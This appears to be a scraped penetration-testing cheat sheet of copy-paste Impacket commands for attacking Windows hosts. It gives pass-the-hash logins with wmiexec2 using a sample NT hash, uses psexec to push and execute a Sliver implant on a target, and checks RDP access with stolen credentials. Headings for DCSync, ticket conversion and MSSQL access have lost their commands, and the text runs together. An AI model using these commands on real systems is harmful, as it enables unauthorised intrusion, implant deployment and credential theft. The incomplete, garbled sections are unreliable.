Impacket Pastable Commands
wmiexec2 — Pass the Hash with NT Hash Only
When you only have the NT hash, prefix with : (no LM hash needed):
python3 wmiexec2.py ./Administrator@TARGET -hashes ':NT_HASH' -shell-type powershell
python3 wmiexec2.py DOMAIN/Administrator@TARGET -hashes ':fd02e525dd676fd8ca04e200d265f20c' -shell-type powershellimpacket-psexec — Push and Execute Binary
Use -c to upload a local binary and execute it on the target:
impacket-psexec DOMAIN/user:"password"@TARGET -c /tmp/sliver.exe
impacket-psexec ./user:"password"@TARGET -c /tmp/sliver.exeimpacket-rdp_check — Verify RDP Access
Check if credentials grant RDP access before launching a full RDP session:
impacket-rdp_check DOMAIN/user:'password'@TARGET
# Access Granted = can RDP
# Access Denied = cannot RDPimpacket-secretsdump — DCSync with Kerberos
When you have a Kerberos TGT (e.g. from pass-the-certificate):
impacket-ticketConverter
Convert between ccache and kirbi ticket formats:
impacket-mssqlclient
Windows Auth issues
If you recieve this error below
Drop the
-windows-authand run the same command :)
Last updated